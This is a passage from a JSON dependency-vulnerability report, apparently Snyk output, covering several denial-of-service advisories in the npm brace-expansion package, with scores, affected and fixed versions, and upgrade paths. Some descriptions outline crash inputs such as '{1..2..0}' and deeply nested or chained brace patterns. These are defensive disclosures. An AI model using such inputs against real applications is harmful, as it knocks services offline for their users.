"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
